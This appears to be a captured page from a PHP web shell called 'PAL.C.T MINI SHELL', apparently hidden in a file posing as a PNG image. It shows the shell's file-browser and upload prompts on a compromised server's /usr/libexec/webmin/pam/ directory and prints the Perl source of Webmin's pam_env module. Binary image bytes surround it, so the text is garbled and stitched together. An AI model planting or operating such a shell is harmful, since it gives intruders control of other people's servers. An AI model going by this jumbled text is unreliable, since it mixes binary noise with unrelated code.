php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/pam/
upload
files >> //usr/libexec/webmin/pam/pam_env.so.pl

# display args for pam_env.so

# display_args(&service, &module, &args)
sub display_module_args
{
local $file = $_[2]->{'conffile'} ? $_[2]->{'conffile'}
				  : "/etc/security/pam_env.conf";
open(FILE, "<".$file);
while(<FILE>) {
	s/#.*$//;
	s/\r|\n//g;
	if (/^\s*(\S+)/) {
		local $var = $1;
		local ($def, $over);
		if (/DEFAULT="([^"]+)"/i || /DEFAULT=(\S+)/i) {
			$def = $1;
			}
		if (/OVERRIDE="([^"]+)"/i || /OVERRIDE=(\S+)/i) {
			$over = $1;
			}
		push(@env, [ $var, $def, $over ]);
		}
	}
close(FILE);
local $et;
$et .= &ui_columns_start([ $text{'env_var'},
			  $text{'env_def'},
			  $text{'env_over'} ]);
local $i = 0;
foreach $e (@env, [ ]) {
	$et .= &ui_columns_row([
		&ui_textbox("var_$i", $e->[0], 20),
		&ui_textbox("def_$i", $e->[1], 30),
		&ui_textbox("over_$i", $e->[2], 30),
		]);
	$i++;
	}
$et .= &ui_columns_end();
print &ui_table_row(undef, $et, 4);
}

# parse_module_args(&service, &module, &args)
sub parse_module_args
{
local $file = $_[2]->{'conffile'} ? $_[2]->{'conffile'}
				  : "/etc/security/pam_env.conf";
local ($i, @lines);
for($i=0; defined($in{"var_$i"}); $i++) {
	next if (!$in{"var_$i"});
	$in{"var_$i"} =~ /^\S+$/ || &error($text{'env_evar'});
	local $line = $in{"var_$i"};
	$line .= "\tDEFAULT=\"".$in{"def_$i"}."\"" if ($in{"def_$i"});
	$line .= "\tOVERRIDE=\"".$in{"over_$i"}."\"" if ($in{"over_$i"});
	push(@lines, $line,"\n");
	}
&lock_file($file);
&open_tempfile(FILE, ">$file");
&print_tempfile(FILE, @lines);
&close_tempfile(FILE);
&unlock_file($file);
}

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`